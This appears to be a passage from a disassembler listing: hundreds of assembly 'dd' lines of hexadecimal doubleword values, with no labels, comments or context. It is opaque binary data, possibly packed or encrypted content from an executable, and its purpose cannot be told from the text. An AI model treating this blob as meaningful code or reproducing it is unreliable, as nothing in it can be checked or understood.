		dd 3F1F35ABh, 0FB4A109Ah, 78A58448h, 0A5389E4Fh, 0EC0306Ah
		dd 60C9DCE6h, 0BE4C595Ah, 0B66CC213h, 1058084Bh, 0AE0A8904h
		dd 0C5F68F6Eh, 8F54605Ch, 0EBA50402h, 0A493A2B2h, 0B9D3557Ch
		dd 784037F8h, 51E69722h, 388D545Bh, 1A66356Ah, 0A8566F6Ah
		dd 0BF44E971h, 41C83DE5h, 0BE724CD8h, 2D1654B6h, 0D1069C5Fh
		dd 5B0D29EFh, 0DB868101h, 0BF350009h, 81D13E24h, 16DCC1A4h
		dd 8181879Dh, 0F0F22DF8h, 5F2F3914h, 97AC6C05h,	13EF2968h
		dd 17C4340Bh, 0CE248457h, 0F34B47A7h, 5B4F7643h, 2A3548F2h
		dd 110080CBh, 5D4C284Ch, 1402305Fh, 2552E032h, 8AC43120h
		dd 0D9545139h, 783BC957h, 0C5BBA021h, 3D3C182Ch, 3FD70C6Ah
		dd 14ED309h, 8F708CDh, 0DF0B6026h, 5A00990Dh, 0E9617C2Fh
		dd 0B369A162h, 871DCD5h, 0C91861EBh, 0B0882206h, 0D36CE1BBh
		dd 8BF6007Dh, 3468B050h, 0E001C0CFh, 53C8FE04h,	0D7FDE8B7h
		dd 507E7E8h, 0E995EF80h, 5DD5B0B4h, 689101B5h, 0F2236C3Fh
		dd 5F890358h, 0A234277Bh, 0C7065F64h, 8051469Bh, 0BE236873h
		dd 58546227h, 775AB8DCh, 6DC22B94h, 0F4E83CE9h,	9DE9EA8h
		dd 0E522BF5Dh, 4ADE3492h, 1203D16Bh, 0E585D5h, 0E912464Bh
		dd 0A0C94F56h, 0EE1BA0D1h, 94D655Ch, 8E6C102h, 0A44F4404h
		dd 0B992BBA7h, 2C8D30E1h, 9832AF49h, 0AB450FEh,	3BB6525Dh
		dd 309200BCh, 0CDE95AF4h, 0F6399FB4h, 5238342Dh, 0F9B424A1h
		dd 1F59274h, 2C15CC16h,	3ED66103h, 995836CEh, 1997C122h
		dd 91585E82h, 0C8BF050Fh, 0F372E868h, 0ABDC12E9h, 0DA4826A7h
		dd 1E89845Bh, 40365322h, 495BB86Fh, 31243A13h, 158F1C3h
		dd 0D6B397DDh, 8C71A84Fh, 0CC32B0A2h, 0D08C0893h, 2C367438h
		dd 9789285Eh, 0E8881096h, 70BC6F68h, 0C94B7125h, 62106DBh
		dd 782E722Eh, 313EB3CDh, 0CADD6897h, 0A8CC459h,	604FB10Eh
		dd 0FDCF5761h, 0CC0E71Bh, 133EDC7h, 9417B028h, 303B25ECh
		dd 2E8AAC5Eh, 41DD410h,	5202C283h, 1488D8E8h, 0BF76670h
		dd 32DA68F1h, 6F7C681Ah, 11B95100h, 1360BD23h, 408E9C1h
		dd 0C0410461h, 0BD22D62h, 0BF07064Ah, 64DFE883h, 61AB0D51h
		dd 3F5E5B11h, 407D38CAh, 9802B945h, 513E442Eh, 63C4556h
		dd 0FED721E9h, 0B252E1BEh, 5E0FC2C6h, 0F98A0B37h, 45B99D4Bh
		dd 44752F13h, 0E9A8ACCDh, 54909DEh, 0FB860702h,	14980D45h
		dd 0BBA15F4Ah, 51F8CE3Fh, 0BB184C21h, 50DF2912h, 251E68Ch
		dd 1A5C6855h, 75E119E3h, 0C193813Dh, 2DC76240h,	0BF5AAFECh
		dd 0BF71759Ah, 13550DB6h, 0FC22A4E9h, 8DF2F744h, 34945D60h
		dd 0B91F1020h, 57018EB0h, 922A3D2h, 0A2F0F6E9h,	533DD478h
		dd 5256090Dh, 0DC665882h, 5AC25A06h, 0F4973702h, 0F799A0EEh
		dd 1CA0DE4Ah, 5E8FED56h, 0E813D15Eh, 0B88510C2h, 5EAC10Fh
		dd 814AC09Ch, 5C5DFAF2h, 0ACC82C50h, 4132133Bh,	1825AF00h
		dd 0EEBD59E9h, 0A9205A4Dh, 7C135F4Ah, 77C88300h, 5101789Dh
		dd 0FD2CB6EEh, 267A8353h, 5256BA1Ch, 0DE25906Bh, 98B089A6h
		dd 0B1D301EBh, 895B2D31h, 186294E9h, 6EF614E9h,	0D5EEF130h
		dd 5904EBB6h, 93B94C68h, 0A3764D84h, 500D0028h,	0BD5548BEh
		dd 6E5C18E5h, 1B47E205h, 7B315D3Bh, 69087401h, 3357E90Ch
		dd 265FE836h, 1B010965h, 0E93E5B64h, 8050FCECh,	3B20CEE1h
		dd 167C2BC3h, 5B4DA55h,	201CF2D5h, 0BE0F6626h, 2327C87Dh
		dd 0BF92EFh, 1653F1D3h,	0F7810263h, 49084C18h, 74DFD980h
		dd 0D6F71BDEh, 726A9280h, 0E918792Fh, 0C581B352h, 171F098Fh
		dd 0E550C17Ch, 30ABAD72h, 0B0D0F8C2h, 76DAEA9Dh, 57F588BEh
		dd 3A8C7630h, 37DAC930h, 0E7B152F0h, 2B13AB4Fh,	50B2078Eh
		dd 4E44E98Eh, 16184295h, 0AAE2A875h, 51B85007h,	0C23B7506h
		dd 8E2808ECh, 8D4C6B1Fh, 9F04AA7Ah, 0BE20E214h,	2D5C275Eh
		dd 7AF678F2h, 0C6B3489Fh, 0AA06CBC0h, 0FFF0AD84h, 8FE33753h
		dd 54B0288h, 0BFC207C9h, 0F021E1E7h, 0ACAD5303h, 5BDE821Fh
		dd 20F35033h, 0FE5C63E0h, 7D2678E7h, 6806DA28h,	30AD21EBh
		dd 0FEF7F5C7h, 1BB1315Fh, 7F564232h, 569C8B34h,	0F7170C24h
		dd 0B75007A7h, 4A8CB6F9h, 2F470066h, 0E5D16D29h, 4EC0C172h
		dd 356720F5h, 182B50Bh,	46E6E41Eh, 64ABE3Ah, 0F331437Fh
		dd 60849089h, 30ED71D3h, 664C713Bh, 93F58004h, 2DE79A15h
		dd 0CE45E989h, 5C027FA8h, 0E9276A7Bh, 0F87811h,	0EB09EF05h
		dd 0AD6F352Bh, 3125F20Bh, 0B05196C5h, 374009EBh, 36A40B92h
		dd 0BBB2D488h, 0BA52EF00h, 5AB53B69h, 0F552901Dh, 0F353B0E9h
		dd 0AC444A88h, 540E321Eh, 8EC3DFC9h, 2BA731D9h,	0D28FE73Ch
		dd 4B7AF30Eh, 0E7686589h, 685350C0h, 40004408h,	0F3815B7Fh
		dd 1E601DD2h, 40D8893Fh, 0E908E8C1h, 0EABB200Ch, 59675509h
		dd 52521E20h, 1D115EBFh, 5F56CC53h, 0D50BBE20h,	51E670Ch
		dd 6F54DC3Fh, 10CB4E60h, 64BE5601h, 96675B7Ch, 0E5EC1248h
		dd 0DAA131C9h, 2DE83058h, 4E4F7C8Eh, 0CB6BA12h,	0F6B97E16h
		dd 0D1011F17h, 0F79F1A19h, 2B490E8Bh, 0EF8BA10h, 8907EE09h
		dd 25768BCAh, 0E5F050AEh, 0F343E58h, 0CB62B52Fh, 0F4C94B51h
		dd 9F02CB99h, 40323ECCh, 95A65124h, 1676093Ah, 0E57BE962h
		dd 9FC0A28Dh, 3A503691h, 0E0F40937h, 86DBBh, 6006641Fh
		dd 88B83419h, 926C290Bh, 3542B405h, 686EC16Ch, 7456FA26h
		dd 7309BE40h, 3A149037h, 0C6180EEEh, 0D5470C1Eh, 7AD03B25h
		dd 2619A0FDh, 0B0A29FE4h, 0AA0F44BCh, 4A44E5D5h, 0C7FE8990h
		dd 0DBEF3880h, 0E25BF813h, 0B451547Ah, 3869064Ch, 0E1E32EB5h
		dd 35B14027h, 1A0F00B3h, 0B72D4866h, 0F24BA349h, 0B659F0F0h
		dd 82531722h, 657E5419h, 5685650h, 28346369h, 0AA4BAF5Eh
		dd 5CC929AEh, 0B920BE45h, 17DAE59Fh, 598F8C5Ch,	6152A8BEh
		dd 5623Ah, 0E47F6C69h, 5E19F101h, 0EFA4CD89h, 45C73C30h
		dd 0C2422802h, 0A70A78E9h, 6572D09Bh, 0C398A70Fh, 0DBF6CB21h
		dd 3880E3F0h, 0B04AD1F3h, 2459BAB0h, 24893E66h,	0B70EB35Eh
		dd 1ECC0B5h, 24685BDAh,	0C4267765h, 56B15604h, 27B7447Fh
		dd 0DDF70435h, 0F608BCC6h, 5ACEBAABh, 68EDD05Dh, 0A9BE6D6Ch
		dd 2A4E462h, 0A8752D58h, 45AF9381h, 5F322F3h, 6855E0D3h
		dd 0A744BF39h, 2905FBDAh
		dd 3C19C0D7h, 1B60F67Ch, 92E95A49h, 0E9B89EA5h,	5297FF73h
		dd 545AD572h, 20609D59h, 0FDDA303Bh, 17C01053h,	3799215Ch
		dd 0B2046D6Dh, 0F8B62EB4h, 75572631h, 0C926F909h, 0B474ABADh
		dd 4CAD02B8h, 0D8F73FCBh, 3EB2FF61h, 428E0051h,	22CD4A53h
		dd 8B4111FAh, 80FA292Bh, 1F3CBC33h, 26C2F046h, 14EF5F58h
		dd 5B03AD33h, 0AA24E941h, 183304Bh, 223F4C22h, 145C2984h
		dd 0D386106Ah, 889BA879h, 57503EC7h, 0B9071D92h, 3487C41Eh
		dd 0E90DB8F6h, 18F5585Bh, 0B73853E6h, 4907D966h, 0C6DF4B91h
		dd 61C40E5Ah, 2C247590h, 0A8880106h, 0F8310EB7h, 6A45C4EDh
		dd 454B9ECFh, 0AF26A5A5h, 0F95A7132h, 53689E2Dh, 0AAD5CC6Dh
		dd 16C86500h, 0AE9EA29h, 9E23B12Bh, 36FB4C56h, 0C487A3Bh
		dd 0A1B1C09Bh, 5AACE950h, 7B3FA729h, 445FD12Dh,	529E191h
		dd 0B7AC455Ah, 0B507E80Ah, 0E3A537BCh, 5EF2128Bh, 965A56C8h
		dd 452A8923h, 0E59E8556h, 51660F09h, 69BFBC28h,	0C0B71264h
		dd 0F601EFA6h, 6866D705h, 20BF3732h, 0C708C06Fh, 151E34BFh
		dd 0CBA89EE9h, 0DE281A51h, 53975812h, 50D6CEC3h, 8980EDE7h
		dd 0BAA5EED9h, 0E91DBC15h, 9462720Ah, 909A8ADh,	67050F1Ch
		dd 3FAED90h, 6C253EEAh,	427AD962h, 0F694922Ch, 3815EE00h
		dd 1710BF33h, 312FE206h, 84A68BD7h, 91544E51h, 81D0A3A5h
		dd 4090C78Dh, 6EEC3860h, 14479562h, 93AFB08h, 0FA59515Dh
		dd 0D5805944h, 0B540643h, 58C18941h, 0E392D5F1h, 0C4802240h
		dd 60E4C070h, 8520C03h,	0CDF958E1h, 0B6A120C8h,	0F1284616h
		dd 4F2CFFE8h, 965F9DA6h, 7AC0E19Bh, 1E5D218Fh, 17509Ch
		dd 0F15AED81h, 155CFDAh, 0E3C15D5Bh, 85DBF705h,	75E66804h
		dd 0ED105E8Dh, 39EBC15Bh, 3EF28105h, 311FA78Dh,	95516DDh
		dd 0C444D6C5h, 1D45E3A0h, 875E7406h, 17064BDEh,	0FE3DF681h
		dd 2894D0Bh, 0CBF7E97Eh, 0A1CFA9AAh, 6C640AA7h,	81AB0F26h
		dd 0D1F9C047h, 0FAC68912h, 9F208052h, 0D115A21Dh, 82B98087h
		dd 51660771h, 5C3B5F69h, 0D9FC5AF6h, 0DDA600C9h, 181FE57Eh
		dd 0DDCE981h, 590ECF29h, 6E08EFC1h, 140172E7h, 0DB73D906h
		dd 17CAC6D8h, 0B8247155h, 34D01024h, 77B25202h,	0C841C280h
		dd 0E9146E50h, 4054B2EFh, 911BAE9h, 424C9333h, 0FB0082FEh
		dd 0E940EF74h, 0D1264BA0h, 24D219FBh, 99AA5703h, 0B7F4C63h
		dd 1EE64931h, 63356B68h, 0D64ABDE8h, 0A2AEBD0Ah, 0C9165F66h
		dd 98CE144Ah, 42DE3110h, 7B0D6922h, 67CE28DCh, 74C32BB8h
		dd 3C24EE13h, 0D010213h, 8DB1DBCh, 52402A25h, 60F62B68h
		dd 0EBB20C65h, 629D9DD6h, 0D94CC2AAh, 11B71035h, 0A78474E9h
		dd 0C52FF8A0h, 40AFA3C8h, 150A2D20h, 50003A8h, 65662318h
		dd 6685651h, 0FF97CF5h,	454FB85Eh, 0E90945DBh, 655638A1h
		dd 4F6BBE81h, 74203793h, 530DC06Fh, 8B05C668h, 0F6D1744Ah
		dd 0BB006073h, 0AC144FCEh, 7D834369h, 0D7031826h, 0D6B60F8Ch
		dd 0F8154194h, 0BCC0B11h, 4866DB3Ah, 43859031h,	25A6B632h
		dd 4BA561EDh, 0D20768FCh, 0BB680BA9h, 2913ADCh,	0F2C0EA50h
		dd 0C2074AA7h, 881C328h, 7BC23EE9h, 9684A627h, 0F709F691h
		dd 8257D8FDh, 0C058C7F2h, 0C3428494h, 5550F757h, 0FA017CE0h
		dd 0C060C2FAh, 5BA82C3Ah, 3B0FE51h, 0F64704F3h,	53FBFED0h
		dd 7653CC6Bh, 59680E7Dh, 90898C37h, 74EED917h, 0F292FC97h
		dd 2032750Bh, 576A3CC1h, 0ECCFB4F9h, 6CA2271Bh,	2C4227Bh
		dd 6816B490h, 0D9F35EB2h, 0C8FEA20Bh, 0BB448685h, 0B4329639h
		dd 7310310h, 275B48BDh,	3E69D689h, 2B11EC9Bh, 0C257D7F2h
		dd 0A90BC186h, 56C0256Ah, 0B454E8D2h, 7A36C500h, 4E0148EEh
		dd 766A61D9h, 0DABE00A6h, 0ABD2768h, 6CA73B73h,	7C22593h
		dd 0BA9F5E66h, 1320D8BAh, 5FE1B9E9h, 0A99F59CBh, 857B58h
		dd 0A5CEB30Fh, 36F6D628h, 0C9D6809h, 0E90A6371h, 40A58B82h
		dd 4CBD30BEh, 0B3029B72h, 0F701AE41h, 0A602E950h, 0E93F9C6Ah
		dd 681E487Eh, 0A5E00B6h, 0E1815914h, 0D8306E16h, 3890C23h
		dd 43F7CF8h, 7071F5F1h,	2E5BFC1Dh, 0EA25164Eh, 91F354B3h
		dd 6E95764Bh, 2147BF4Ah, 0C7025693h, 0DECBCAE9h, 41748018h
		dd 42BB083Dh, 50FC213Ch, 287E44CEh, 7A12048h, 10012FBEh
		dd 92748629h, 278F98CBh, 7790AFADh, 0EEE4F530h,	965308C9h
		dd 0EA832DAEh, 0A5947764h, 99F3E344h, 4DC5EF00h, 0FD892850h
		dd 0EE015F12h, 0A74CAACAh, 9E1FE982h, 81D88BA4h, 3E37699Ah
		dd 9CBE2D33h, 6B0936A3h, 56025B09h, 0B507A6B0h,	56EB2872h
		dd 65253AEBh, 0E9589CF9h, 0EDB4CEh, 516A68B9h, 0E14BD154h
		dd 1DA57188h, 53658E2Eh, 4B87F8FFh, 8A300C8Dh, 5A0979B2h
		dd 3F5ECD1Eh, 92C01F84h, 34F652C2h, 0FD7EE1D3h,	0D50C747Bh
		dd 0F7EA78E9h, 0C15E3BF2h, 0FA26CAC8h, 0BC4D9B44h, 565244F4h
		dd 3DC42080h, 0E96038F5h, 0F6CE5325h, 6AE5E9A1h, 1878F5C9h
		dd 1FA0D589h, 85121BB8h, 0BCF13E5Ah, 3DD15A47h,	0F69862A2h
		dd 0BFE96805h, 0F6CA4B4Eh, 8E93364Ah, 0D517A00Bh, 23A841Eh
		dd 29191500h, 3B7BE96Dh, 0EBFEF29Ah, 0AC7F84C6h, 0AF584D12h
		dd 0B62CB40Bh, 8747638Ah, 85386203h, 5B0AFD30h,	5AD758C0h
		dd 332B5C39h, 31762020h, 8CC56597h, 0F33B15D4h,	0E36CA616h
		dd 2DEBD100h, 26712674h, 801A37E9h, 0B80860BFh,	0EFBC4F23h
		dd 1C00E71Dh, 38E969E1h, 0FD8880B1h, 0B924FB98h, 0F9A0B6ECh
		dd 3E15640Fh, 23979E0Ah, 815856B7h, 344A3F2Dh, 26906AF8h
		dd 0DE5E0BCBh, 3A74809h, 2E472166h, 0A7C708D9h,	1BAEB064h
		dd 3DBB805Ch, 9AB2114h,	0E51450A7h, 8B72B84Dh, 205ACC52h
		dd 6818C9F4h, 5415711Bh, 0DFEBAC13h, 2D3D1C6Dh,	0A1E04BBBh
		dd 0E64BB652h, 56C98DF2h, 0B32AB4D6h, 2A2C9E95h, 0E8EEC1E9h
		dd 0BF609FEEh, 0F20E490h, 5F38B03Ch, 325324E3h,	305E6D61h
		dd 4F86525h, 0A87AE168h, 7BD9C034h, 35814CCEh, 0B10DDDF2h
		dd 40ED6C59h, 0EF4AF075h, 1EC4CEA4h, 0C933BA47h, 656B6B7h
		dd 4A6B6E81h, 0C7DB015Dh, 580208EAh, 0D569DA68h, 9060F132h
		dd 0BB767433h, 0DF4F7E04h, 60944CE9h, 87A07FA8h, 0D169F7CAh
		dd 0A46A5B08h, 0FEE959F8h, 0B6281DDCh, 0E381613h, 19EFED00h
		dd 4A396C28h, 5CFA134Fh, 5DF4C656h, 0C205C8C5h,	35B11AB4h
		dd 0EA2899BCh, 3C8B2F08h, 1F2E674Dh, 0AC4E3693h, 13A6DFC1h
		dd 0AD741C03h, 0FDC9B033h, 2B2C2747h, 8AE964E0h, 783F2169h
		dd 8CB93FE3h, 34F0092Dh, 40C76263h, 243E0591h, 427A73h
		dd 0F63360C2h, 0D65AF730h, 844CCF80h, 0F0215A01h, 0FA01E62Fh
		dd 0E91FB164h, 9580B42Ch, 1C2D02E8h, 80957262h,	0E09E25B4h
		dd 76049745h, 0A409AE31h, 0A11396E8h, 27666688h, 326AA500h
		dd 0ADFBE94Eh, 0C014D383h, 0E6890FF0h, 672C75Eh, 87013483h
		dd 0C346EBEFh, 288641Fh, 2B9ABC09h, 9C17666h, 7C4C0196h
		dd 850DE232h, 2C29778Ah, 98506DFCh, 9BEA8841h, 7AD94413h
		dd 26DA4A08h, 49F8245Dh, 0E989EA5Bh, 0A1702FCCh, 2B8B126Bh
		dd 14CDC42Bh, 0D15A5A07h, 30E829D6h, 929FEDF5h,	0CF27C063h
		dd 95987535h, 0DE65BFA9h, 4FFC5812h, 0B2C7305h,	3977C050h
		dd 0C48AA5Bh, 58CA3E9Ah, 410C60D3h, 6D7B82Bh, 0AA214EBAh
		dd 0F502D85Ch, 1238020h, 44042CAh, 0A7B85908h, 1332EA40h
		dd 11E54Ch, 1F38ABCEh, 0F620E929h, 0E0F5A0B7h, 72660196h
		dd 0DD7A45BEh, 87D02E0Dh
		dd 2618FFEEh, 23A628Bh,	0A4F9120Fh, 0B288095Dh,	88FA7C63h
		dd 17A4516Dh, 0D5C4E006h, 4010FC2Fh, 66015A09h,	50E58058h
		dd 0C0DEDDF6h, 80DF440Eh, 0F991DA31h, 99B1E961h, 7CDAEC35h
		dd 18484956h, 9EB77825h, 0E5CE9F65h, 3A80974Bh,	0F41CC80h
		dd 0E4D0DCF6h, 1D27888Bh, 0B96A87h, 17105EEh, 272D6849h
		dd 6249877h, 11642710h,	0C1E55D70h, 0C4AF2822h,	112B609h
		dd 0E6808BFDh, 0C3FCEC07h, 0F0B4E495h, 0AF05BD87h, 3B778153h
		dd 9F800420h, 105E56DFh, 41D90177h, 4F2D3608h, 0E9820DA2h
		dd 9DE8BE3Ah, 893D58C7h, 8BD92FF8h, 0A768FB72h,	5816BC72h
		dd 0D54220E9h, 0AF421F68h, 5DDB0475h, 1EDD30EFh, 5A1D4812h
		dd 2089BBBDh, 1913943Fh, 73E42EE9h, 86930754h, 0A0475B25h
		dd 0A203CF6Eh, 0D15D101Ah, 4A1004EFh, 0D07FA746h, 0C18E9C5h
		dd 73DCE4BFh, 381D0B81h, 45837302h, 819C4BAAh, 0B2C5E8h
		dd 7986DBF6h, 850A4BD3h, 0B5FAECCBh, 6987749Ch,	89F33C98h
		dd 10850EAh, 0F58006A1h, 0D2760698h, 83A5C53Ch,	0E5D052EDh
		dd 0F60590C0h, 161AC9D5h, 7146F0Ch, 5866CDF0h, 701CD62Ah
		dd 59E83837h, 68D82884h, 9130EA93h, 4FF671B7h, 0B6D328D7h
		dd 2C800F3Fh, 5A1D575Bh, 22B2EF8Fh, 0D666A9C7h,	0CBF8B86h
		dd 0D7A053CEh, 360A5A45h, 0A3FB0166h, 66990820h, 68A530C9h
		dd 0D9888042h, 0B5F31EEh, 7FFA1DE4h, 36E22C5Fh,	827ECE05h
		dd 32E9164Bh, 169FE2D0h, 532995BDh, 8D14307Ch, 39E90BB8h
		dd 0A52B5B1Ch, 0E989E9F1h, 5C8D50A1h, 865C8C59h, 0D0685A04h
		dd 0C4C7A803h, 0B0164EA3h, 404FC297h, 0A7E0ABC1h, 2FCB346Ch
		dd 0CFFEC2A2h, 0BF56A584h, 284C1E1Fh, 0E12C28EEh, 0AAD98EE2h
		dd 941A1C3Eh, 85A2DFCBh, 0A50F7DB1h, 7DB95560h,	79706A04h
		dd 6589C04Bh, 170BF07Bh, 9619F2E9h, 0C9342FF3h,	0D5814E6Ch
		dd 0D304225Fh, 404C300Fh, 0EF0D60C7h, 1262000Bh, 0E70FED2Dh
		dd 0C2258972h, 53824158h, 66B3A62Bh, 0E1D463DAh, 0BD098230h
		dd 6AECEEE0h, 8601F4F0h, 3058E688h, 0A77866F0h,	0A0D7E9C5h
		dd 0F6ED5C14h, 2AE1BE93h, 0D00CA5DDh, 96DB2227h, 113A080h
		dd 0A0E10C4Fh, 0BC4D252Bh, 56FB06B5h, 81D074C5h, 2C6A2906h
		dd 5F628903h, 0D6D231BCh, 17BD248Eh, 0E949899Dh, 56D9F75Eh
		dd 78BF4849h, 27524C10h, 0D0A78C0Fh, 24F0EC73h,	89383153h
		dd 8B7E394Ch, 41D521E1h, 630D1F7h, 8F981F64h, 0DF728CDCh
		dd 86A60C69h, 0E2481929h, 7A904902h, 87BEE0BAh,	23941E06h
		dd 7EFE0F52h, 13296E85h, 47EF8C5h, 19E1BAFh, 7B74CBAAh
		dd 7CDBEA48h, 13586001h, 0F3A6E94Fh, 4AFECE34h,	2644B76Ch
		dd 0B981F90Dh, 0C317F887h, 579EBC8Fh, 200B1DEBh, 92D01E0Ah
		dd 0CA4C915Fh, 228005A2h, 0BC231F51h, 0A640145h, 605D148Dh
		dd 5B77E0Bh, 0C082435Ch, 0CC985F0Eh, 0E9830C76h, 0A18DDB3Ch
		dd 0E3153802h, 199D0B48h, 2D0C40D8h, 7253F52Ah,	0E95781D5h
		dd 0E76C9B50h, 0BB169EC5h, 95AF6F61h, 0EEF1B781h, 0ED1F2049h
		dd 0C46DA092h, 77E0AC09h, 2FFE7EB8h, 0B9DC970h,	3DC92004h
		dd 0B8F707EDh, 5FD909E6h, 4747B3Bh, 48C8003Ch, 61350AD3h
		dd 8BAA0137h, 7FE9C529h, 1E7D540Ch, 0B65DC1AFh,	2FC831A0h
		dd 0BBAF998h, 5191AE25h, 48271EFEh, 1E72C683h, 0C8204149h
		dd 5E17F895h, 0F713D18Eh, 10E605E1h, 9172FE07h,	181AA2Eh
		dd 56430AC2h, 0A89C89F6h, 0F78F68FBh, 0D1F500D5h, 6313CA09h
		dd 0C5C80E45h, 2089A5C1h, 0B90751A4h, 64FD0CF2h, 769A1182h
		dd 0F9246FD4h, 66FC90CEh, 8CC6C83Bh, 0ECC994E8h, 0D72B4B52h
		dd 0E038D5F9h, 0DD985B40h, 676F6816h, 0D7D6F7ACh, 5BDFF197h
		dd 8A322F5Eh, 25AF0A87h, 8BF70E41h, 482D5834h, 5400Bh
		dd 0BC81FD08h, 512BBD55h, 4D71ED12h, 2105CF2h, 8D2D02AFh
		dd 0C175F83Bh, 0F700498Bh, 0F22881DAh, 0E9809A3Dh, 0A5129EEAh
		dd 6717105Ah, 0DCAA2B4h, 42D2F759h, 141B0206h, 0E929F6E0h
		dd 0D24C5F25h, 20590FF6h, 0A8923202h, 985C105Fh, 49A0351Eh
		dd 8680997Ah, 5D20528Ch, 8083DA95h, 4B685808h, 894AC2BDh
		dd 97481475h, 0E95435B8h, 0CF0B9330h, 6C281D2h,	21144F9h
		dd 8A02A642h, 896CAC36h, 0CDD063D6h, 680BC6FCh,	0C45E1480h
		dd 0CA0D4BD3h, 0E90D614Fh, 0CB2E3ABCh, 0D5845E0Fh, 66B29BBCh
		dd 0CFC710D7h, 49C38993h, 2C89ED99h, 59F75FE2h,	305F0D30h
		dd 0C32E80D3h, 0C52CF2F5h, 7CCD3418h, 52D1034Ch, 0A3C98159h
		dd 83438DE1h, 0E64FE0Ch, 58E9E06Ch, 0C2E65F20h,	54C8C888h
		dd 1B497868h, 7009E4Ah,	57E93CE8h, 496B9DFDh, 82CA5AB2h
		dd 501226F3h, 0DAD0CD0Fh, 2F6D560Ah, 0C36237F2h, 0B21DE63h
		dd 7A2D1E91h, 3EC081D4h, 0F3AD4757h, 0D0831C6Bh, 0CBFE13B4h
		dd 13FA1208h, 24BA48Ah,	78B55103h, 9CBED80h, 0E2E9FD06h
		dd 6655E362h, 124424B4h, 135BC2A5h, 51D1B4F6h, 0C8BA03Ch
		dd 59250A7Bh, 0DB38305Dh, 797B6545h, 0AEFDC727h, 0A369E2FFh
		dd 68704074h, 889D504Ah, 40B901C6h, 0EFE90F5Bh,	10D87222h
		dd 0C4CC10Dh, 0E49FC813h, 944FC19h, 130F90CBh, 0B0BE6FDEh
		dd 749205D1h, 0DE4ED635h, 483C10B1h, 0B933953h,	0C9790204h
		dd 0F1D72BEBh, 618F087Bh, 1DECFEB4h, 0A09A64B4h, 4A2DE915h
		dd 0C17E71B7h, 8630F586h, 4420E96Ah, 5AC57C15h,	6BFB0EFh
		dd 3751CF40h, 0BE7FA368h, 7AC4F0EBh, 4C6099F0h,	14DBC77Fh
		dd 4D447B32h, 0B901F67Ch, 408647A6h, 0D3722049h, 0C3A2E407h
		dd 2674CA31h, 366D69A1h, 17FA68C2h, 55B067Ch, 933AE026h
		dd 0E9C2024Fh, 5DD29C3Bh, 12820850h, 96739D2Eh,	0E4DD9F09h
		dd 0EFB70F76h, 6A8591B6h, 30958C25h, 0F568C312h, 5FDF8B93h
		dd 0B7F646Dh, 0B5D84CFFh, 0DEF74E12h, 273C2502h, 0BBF7400Ah
		dd 49C5BCF1h, 0C2317370h, 91A65541h, 25CBA938h,	9582CF0h
		dd 9D8D406Bh, 3D5F4B13h, 9EE8E858h, 3655274Ah, 0EB502C50h
		dd 164BE908h, 2BA7405h,	0FB5565EBh, 0E435BB4Eh,	6B846DB3h
		dd 0DB68C540h, 0C058796Ah, 0F4C8ED70h, 895AF0D1h, 2059B2Ch
		dd 2F490B76h, 0C1D0D8F7h, 7A00A2F4h, 0BA520908h, 1B95A5Bh
		dd 63E2811Bh, 80314A20h, 7677FE0Ch, 1FBB5351h, 7EDB5C16h
		dd 0BF2E302h, 947015EEh, 982C6BBDh, 0E50DC729h,	2D67A02Ah
		dd 8753BF0Bh, 9644225h,	0EB0E8E07h, 0EA4F54D1h,	61F91753h
		dd 4CA760C7h, 0FC2568FAh, 8BCA517Fh, 13D42C11h,	4642E167h
		dd 0A4C06243h, 0FB815065h, 498BF43Bh, 1C085EF1h, 0E10444DEh
		dd 0F6CB6FE5h, 390F277Fh, 1A4556C8h, 3465E026h,	202FAF03h
		dd 0E4184E51h, 0C432E971h, 234BFA3h, 0FE02BC03h, 4128C2CAh
		dd 0E123EBB8h, 0C0C6FEC2h, 0A820D978h, 9E6814DCh, 6A85701Fh
		dd 709A31Ah, 5FF5C3Ah, 80A3C5D3h, 4B37E9FAh, 57DA2007h
		dd 0EDF5F0BFh, 0DE9D307Eh, 9E857131h, 9C231C45h, 0BF59F140h
		dd 0F3508907h, 8511E46Ch, 0D64F712Bh, 669F2CFFh, 0C3E9150Eh
		dd 0F302A39Dh, 0D7BF42BEh, 0F3FD2FFFh, 0D49EE227h, 0BE449DAh
		dd 0C02CC6B9h, 4A59CD73h, 0D3EC915Ah, 0F85D8736h, 88E23C2Dh
		dd 240EDD5Dh, 49E908A1h, 9C493435h, 8CA8951Bh, 2FDDE945h
		dd 0A8E41AA5h, 0D71E890h, 694E6D9Ch, 6B8A71DAh,	0F0DBAA9Ah
		dd 8E160FEAh, 0D2FC6084h, 305807D9h, 985EDC31h,	0A1DD2DE3h
		dd 2302C44Ah, 0E10DFE10h, 0D8127A7h, 1372F905h,	2DA32011h
		dd 0ACE907A0h, 1207464Dh
		dd 64AE671Fh, 56D20058h, 0E920063Eh, 32276826h,	9D056F87h
		dd 0BDF80BBh, 0C14B3F6Dh, 7C3BA30Ch, 0D07A8016h, 0E97BDC3Dh
		dd 7899D88h, 1F025ED4h,	43112C14h, 7D85F3A3h, 0C6BEEC3h
		dd 50FF01A4h, 2E050978h, 0D3F7339Ah, 31CB8DC0h,	0E9B54C2Bh
		dd 0FBCFF302h, 89DDCCF5h, 5D5903AAh, 0A8DC515Bh, 42EF9F04h
		dd 0D5FDE9F6h, 0D60B0A5Bh, 70F974A7h, 112B968h,	0CBFC505Dh
		dd 0AAF2854Fh, 40120928h, 38B45C30h, 0C85DC3h, 0D0CE865Ah
		dd 91B050E6h, 0C03A0C00h, 63403E0h, 9EAAEAE9h, 3606C997h
		dd 0BB0414ABh, 41653DD8h, 4D043EEDh, 0C062B4A4h, 0CD7BF614h
		dd 0EE94609h, 0D3937CACh, 0DA8AAA4Fh, 8455E25Bh, 1133260h
		dd 3965A811h, 8F21EC72h, 825C5CCFh, 0F14E0D68h,	26FB4B51h
		dd 60B85000h, 0BF5F1C3Eh, 5E4638C0h, 802BE03Ah,	2A513A27h
		dd 5A5FA2Dh, 0C501A152h, 7964F358h, 0BF16A59Dh,	444A9EECh
		dd 13FDF548h, 0C2CDAEA1h, 58DAC8AFh, 50076817h,	71640C60h
		dd 0CE2D5802h, 0BF99262Fh, 0A7173F57h, 414897E3h, 0A05CF8C9h
		dd 0E5F0269h, 0E23305BFh, 0E7680954h, 40931A58h, 280E2687h
		dd 0ECD03980h, 107F768Eh, 2FA41EE9h, 0E539C130h, 4844B900h
		dd 276BED3Dh, 591B8735h, 0C0EDD804h, 0E81D6912h, 87688207h
		dd 62EA9A71h, 0DA995710h, 13693884h, 50F28D7Fh,	0BD0ABC64h
		dd 21310779h, 90B4E416h, 291D1AF8h, 41B5D2EBh, 3C0DB96Fh
